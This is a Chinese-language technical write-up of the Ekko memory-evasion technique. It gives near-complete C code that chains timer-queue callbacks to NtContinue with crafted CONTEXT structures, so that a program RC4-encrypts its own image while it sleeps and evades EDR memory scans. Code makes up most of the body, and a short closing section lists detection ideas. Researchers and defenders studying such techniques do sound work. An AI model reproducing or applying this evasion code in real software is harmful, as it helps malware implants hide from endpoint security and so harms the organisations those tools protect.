【Web实战】内存免杀-Ekko项目解读
字数 1233 2025-08-10 08:28:35
Ekko内存免杀技术深度解析
1. 概述
Ekko项目是一种创新的内存免杀技术,它通过巧妙的内存加密/解密机制来绕过EDR(终端检测与响应)系统对内存的扫描检测。EDR通常会扫描程序的内存空间,检测是否存在恶意软件特征码,这与静态检测类似,只是扫描对象从硬盘变成了内存。
传统的内存加密方法存在一个根本性问题:程序无法自己加密自己,因为加密后代码将无法执行。Ekko项目通过创新的方法解决了这一难题,实现了程序对自己内存的加密和解密。
2. 核心API解析
Ekko项目使用了以下几个关键Windows API:
2.1 事件和计时器相关API
- CreateEvent(): 创建或打开一个事件对象
- SetEvent(): 将事件对象设置为已通知状态
- CreateTimerQueue(): 创建计时器队列
- CreateTimerQueueTimer(): 创建计时器队列计时器
CreateTimerQueueTimer函数参数详解:
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer, // 接收计时器句柄的缓冲区
[in, optional] HANDLE TimerQueue, // 计时器队列句柄
[in] WAITORTIMERCALLBACK Callback, // 回调函数
[in, optional] PVOID Parameter, // 回调函数参数
[in] DWORD DueTime, // 首次触发延迟时间(毫秒)
[in] DWORD Period, // 周期(毫秒),0表示单次触发
[in] ULONG Flags // 标志位
);
2.2 内存和线程控制API
- WaitForSingleObject(): 等待对象变为已通知状态或超时
- SystemFunction032(): 提供RC4加密功能的内存加密API
- RtlCaptureContext(): 捕获当前线程的CONTEXT结构
- NtContinue(): 根据CONTEXT结构恢复线程执行
3. CONTEXT结构的重要性
CONTEXT结构存储了线程运行时寄存器的值,包括:
- RIP (指令指针)
- RSP (栈指针)
- 其他通用寄存器等
通过修改CONTEXT结构,可以精确控制程序的执行流程,这是Ekko项目的核心技术之一。
4. Ekko实现原理详解
4.1 初始化阶段
// 创建事件对象和计时器队列
hEvent = CreateEventW(0, 0, 0, 0); // 创建未通知状态的事件
hTimerQueue = CreateTimerQueue(); // 创建计时器队列
// 获取关键函数地址
NtContinue = GetProcAddress(GetModuleHandleA("Ntdll"), "NtContinue");
SysFunc032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
// 获取当前程序基地址和大小
ImageBase = GetModuleHandleA(NULL);
ImageSize = ((PIMAGE_NT_HEADERS)((DWORD64)ImageBase +
((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;
4.2 捕获和准备CONTEXT结构
// 捕获当前线程CONTEXT
if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue,
(WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD))
{
WaitForSingleObject(hEvent, 0x32);
// 复制CONTEXT用于不同操作
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
}
4.3 构造各功能CONTEXT结构
修改内存权限为可读写
// VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &OldProtect);
RopProtRW.Rsp -= 8; // 调整栈指针
RopProtRW.Rip = (DWORD64)VirtualProtect; // 设置指令指针
RopProtRW.Rcx = (DWORD64)ImageBase; // 第一个参数
RopProtRW.Rdx = (DWORD64)ImageSize; // 第二个参数
RopProtRW.R8 = PAGE_READWRITE; // 第三个参数
RopProtRW.R9 = (DWORD64)&OldProtect; // 第四个参数
加密内存
// SystemFunction032(&Key, &Img);
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = (DWORD64)SysFunc032;
RopMemEnc.Rcx = (DWORD64)&Img;
RopMemEnc.Rdx = (DWORD64)&Key;
睡眠延迟
// WaitForSingleObject(hTargetHdl, SleepTime);
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
RopDelay.Rdx = SleepTime;
解密内存
// SystemFunction032(&Key, &Img);
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)SysFunc032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;
修改内存权限为可执行
// VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect);
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)VirtualProtect;
RopProtRX.Rcx = (DWORD64)ImageBase;
RopProtRX.Rdx = (DWORD64)ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = (DWORD64)&OldProtect;
设置事件通知
// SetEvent(hEvent);
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD64)SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent;
4.4 执行流程编排
Ekko通过计时器队列精确控制各操作的执行顺序和时间:
// 100ms后: 取消内存可执行权限
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
// 200ms后: 加密内存
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
// 300ms后: 睡眠
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
// 400ms后: 解密内存
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
// 500ms后: 恢复内存可执行权限
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
// 600ms后: 设置事件通知
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);
5. 技术要点总结
- 异步执行控制:通过计时器队列实现各操作的异步、定时执行
- 内存权限管理:在加密前取消可执行权限,解密后恢复可执行权限
- 自我加密解密:通过精心编排的执行流程,实现程序对自己内存的加密和解密
- CONTEXT操控:通过修改CONTEXT结构模拟函数调用,避免直接调用导致的执行流问题
- 时间控制:精确控制各操作的执行时机,确保流程正确性
6. 防御思路
针对Ekko这类内存免杀技术,防御方可以考虑以下方法:
- 监控关键API调用序列,特别是
CreateTimerQueueTimer与NtContinue的组合 - 检测异常的内存权限变更模式
- 分析计时器行为的异常模式
- 监控RC4加密操作的内存上下文
Ekko项目展示了高级内存规避技术的实现原理,对攻防双方都具有重要的研究价值。防御方需要深入理解这些技术才能开发出有效的检测方法。